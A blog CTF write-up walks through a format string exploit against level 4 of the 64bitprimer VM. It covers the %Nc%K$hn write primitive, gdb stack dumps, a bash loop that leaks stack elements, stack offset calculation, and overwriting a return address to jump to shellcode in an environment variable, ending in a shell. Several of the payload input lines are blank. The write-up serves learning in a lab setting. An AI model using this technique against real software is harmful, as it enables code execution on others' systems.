John Pierce

. SLAE, Security+

Format string exploit example, 64bitprimer CTF from, level 4

This is a writeup of the format string vulnerability in level 4 of the 64bitprimer VM from ASLR and DEP are both turned off for this challenge. There's a format string bug in the takeNotes function within chall4. In short, with a format string attack, one can use %DDDDDc where DDDDD<65536 to create up to a two byte value, %DD to point to a particular element of the stack, $lx or similar to show the value of an element, $n, $hn and $hhn to write values where the %DD value is pointing. This means I can find a pointer and use it to write one or two bytes to where it points to. e.g. to write the single byte 0xaa (170 decimal) to an address pointed to by element 25, I can use the statement %170c%25$hhn. To write the two bytes 0xffff (65535 decimal), I can use the statement %65535c%25$hn. If I can find a value that points to an item on the stack, I can write to the item pointed to using the first pointer, then use the second pointer (the one just written to) to point to another location to write to. The benefit is that by incrementing the second pointer via the first pointer, many areas of memory can be written to. So, We need to find two elements on the stack: one that points to another item on the stack, and the other item that gets pretty close to pointing at the return address from the function. I've run the program in gdb until after the first line of input (abcd) and pulled the stack for analysis.

0x7fffffffe8e0: 0x00007ffff7ff74c0  0x00007fffffffee29
0x7fffffffe8f0: 0x0000000a64636261  0x00000000004002d8
0x7fffffffe900: 0x0000000100000000  0x0000000100000190
0x7fffffffe910: 0x00007ffff7ffa160  0x00007fffffffea98
0x7fffffffe920: 0x00007fffffffea70  0x00007ffff7ff7a10
0x7fffffffe930: 0x0000000000000001  0x00007ffff7ffe520
0x7fffffffe940: 0x00007ffff7ffe1c8  0x00007ffff7de4961
0x7fffffffe950: 0x0000000000000000  0x00007ffff7ff7a10
0x7fffffffe960: 0x00007fff00000001  0x0000000000000000
0x7fffffffe970: 0x0000000000000001  0x00007ffff7ffe1c8
0x7fffffffe980: 0x00007ffff7a18d30  0x00007fffffffeac0
0x7fffffffe990: 0x00007ffff7a251f8  0x0000000003d8f538
0x7fffffffe9a0: 0x0000000000000000  0x00007ffff7dd4400
0x7fffffffe9b0: 0x0000000000000400  0x00007ffff7a82846
0x7fffffffe9c0: 0x000000000000000e  0x0000000000000003
0x7fffffffe9d0: 0x0000000000000001  0x000003f900002190
0x7fffffffe9e0: 0x0000000000000005  0x0000000000008800
0x7fffffffe9f0: 0x0000000000000000  0x0000000000000400
0x7fffffffea00: 0x0000000000000000  0x0000000058017f51
0x7fffffffea10: 0x000000001c650b00  0x0000000058017f51
0x7fffffffea20: 0x000000001c650b00  0x0000000058017f20
0x7fffffffea30: 0x000000001c650b00  0x0000000000000000
0x7fffffffea40: 0x0000000000000000  0x00007ffff7a8df03
0x7fffffffea50: 0x00007ffff7dd4400  0x00007ffff7dd4400
0x7fffffffea60: 0x000000000000000e  0x00007ffff7a8df03
0x7fffffffea70: 0x0000000000000000  0x00007ffff7dd4400
0x7fffffffea80: 0x0000000000000001  0x00007ffff7ff5000
0x7fffffffea90: 0x00007fffffffec00  0x00007ffff7a8f3dc
0x7fffffffeaa0: 0x0000000000000000  0x00007ffff7dd4400
0x7fffffffeab0: 0x000000000000000a  0x00000000004009a4
0x7fffffffeac0: 0x00007fffffffec00  0x00007ffff7a8f7b3
0x7fffffffead0: 0x00007ffff7dd4400  0x000000000000000e
0x7fffffffeae0: 0x00000000004009a4  0x00007ffff7a84ea2
0x7fffffffeaf0: 0x0000000000602010  0x00000000ffffeb20

Get a gross list of potential pointers (point to something on the stack):

~/Downloads/Hacking/64bitprimer $ for i in $(grep 0x00007fffffffe stack.txt);do j=$(echo $i | cut -d" " -f 1);echo $j|grep 0x00007fffffffe;j=$(echo $i |cut -d" " -f 2);echo $j|grep 0x00007fffffffe; done

From main, find the return address from the takeNotes call:

   0x0000000000400833 <+117>:    mov    rdi,rax
   0x0000000000400836 <+120>:    call   0x400716 
   0x000000000040083b <+125>:    mov    eax,0x0

gdb-peda$ x/6xg $rbp
0x7fffffffeb00: 0x00007fffffffeb20  0x000000000040083b<-return address
0x7fffffffeb10: 0x00007fffffffec08  0x0000000200000000

Unique/sorted list of potential pointers into the stack:

Pointer                Contents (manual lookup in stack listing)
0x00007fffffffea70     0x0000000000000000
0x00007fffffffea98     0x00007ffff7a8f3dc
0x00007fffffffeac0     0x00007fffffffec00
0x00007fffffffec00     stopped looking here because line
0x00007fffffffee29     3 satisfies my conditions

The third pointer looks good because:

1) We need to keep the first write down to 2 bytes, the pointer address is fixed

2) The destination where the return pointer is $rbp + 8 (0x7fffffffeb08): the first 6 bytes are the same as the pointer's contents. This will be easy.

Excerpt from stack listing above:

0x7fffffffe970: 0x0000000000000001  0x00007ffff7ffe1c8
0x7fffffffe980: 0x00007ffff7a18d30  0x00007fffffffeac0<--3rd Pointer
0x7fffffffe990: 0x00007ffff7a251f8  0x0000000003d8f538

Find the 3rd Pointer (short list) on the stack at 0x7fffffffe988. So now I can write to what's in 0x00007fffffffeac0, make that point to $rbp + 8 (0x7fffffffeb08) and use the second pointer to overwrite the return address for the takeNotes routine. Armed with a strategy, no need for a debugger any more, so break out of gdb and start working with real addresses.

The gdb stack is offset a bit from what it is from the command line. With the info above, an adjustment can be calculated. To do that, I need to be able to run the program a bunch of times to dump the stack. Here's my command to dump the first 75 items from the stack:

/* BTW, it's important to have the shellcode loaded so the stack is set up like runtime. I'm storing it in an environment variable. Mine was generated using pwntools and 100 nops preceded the code. I also will need the address of the shellcode, retrieved with getenv.

n00b@64bitprimer:~/level4$ export VULN=`/tmp/work/`
n00b@64bitprimer:~/level4$ /tmp/work/getenv
VULN : 0x7fffffffee2c


for i in $(seq 1 75); do echo $i: \%$i\$lx$'\n\n' |./chall4 temp.txt; done

n00b@64bitprimer:~/level4$ tail temp.txt
71: 602010

72: ffffeac0

73: 7fffffffeac0

74: 40083b

75: 7fffffffeba8


So, we get a list of the stack, with the element number they can be called with. Number 74 jumps out as the return address. The address before that can be used to calculate the gdb versus shell stack addresses.

shell 7fffffffeac0 minus
gdb   7fffffffeb20
equals       -0x60

So that's the adjustment we need to make on all the elements we're working on. For instance, to find which element contains our first pointer:

First pointer contents - 0x60 = 0x00007fffffffeac0 - 0x60 = 0x00007fffffffea60 Search for that in the list:

n00b@64bitprimer:~/level4$ grep 7fffffffea60 temp.txt
26: 7fffffffea60


Now find the second value (Contents column, line 3): 0x00007fffffffec00 - 0x60 = 7fffffffeba0

n00b@64bitprimer:~/level4$ grep 7fffffffeba0 temp.txt
59: 7fffffffeba0
65: 7fffffffeba0

There are two possible places 26 might be pointing. I'll do a test write putting 0xbb (187 decimal) in the low byte using $hhn and see which changes and use $lx to print them out. These are the inputs:






So, it's writing to element 65. Putting it all together, we can use element 26 to write the address of the return pointer into element 65. We then use element 65 to write the address of the shellcode (environment variable VULN), and finally use element 26 to restore element 65.

Address of return address: 0x7fffffffeb08 - 0x60 = 0x7fffffffeaa8. Write 0xeaa8 (60072) to 65


Address of shellcode is 0x7fffffffee2c. Write ee2c (60972) to the lowest 2 bytes of return address.



Increment the pointer in 65 by 2, i.e. write a8 + 2, aa (170) to lowest byte



Write next 2 bytes of shellcode address to return address 0xffff = 65535


Increment pointer


Write final 2 bytes of shellcode address to return address 0x7fff = 32767



And restore the original bytes in element 65 0xeba0 = 60320



We should be golden.

n00b@64bitprimer:~/level4$ ./chall4 temp.txt
Welcome to notepad-- (minus minus)!
For all your coding and note-taking

Press enter twice to write the file to disk.

$ id
uid=1004(level4) gid=1017(n00b) groups=1004(level4),1017(n00b)
$ ls      
chall4    flag-level4  notesfile.txt  temp.txt
$ cat flag-level4


This is a writeup of the format string vulnerability in level 4 of the 64bitprimer VM from  ASLR and DEP are both turned off for this challenge.

Most Recent Articles

First bit::

This is a writeup of the format string vulnerability in level 4 of the 64bitprimer VM from vulnhu

First bit::

Installation of the software to make a yubikey 4 work in FIDO U2F mode on Debian Jessie i386

First bit::

Lesson(s) learned

First bit::

This one stumped me. Overall, it was a great competition for me as I got to learn a whole lot of new things. I had never worked on a Mac, other than as a user, had never used Hopper, lldb or any of the other tools for reversing on a Mac, and haven't got any experience in the Objective C/Swift framework.

First bit::

4 rounds, lots of debugging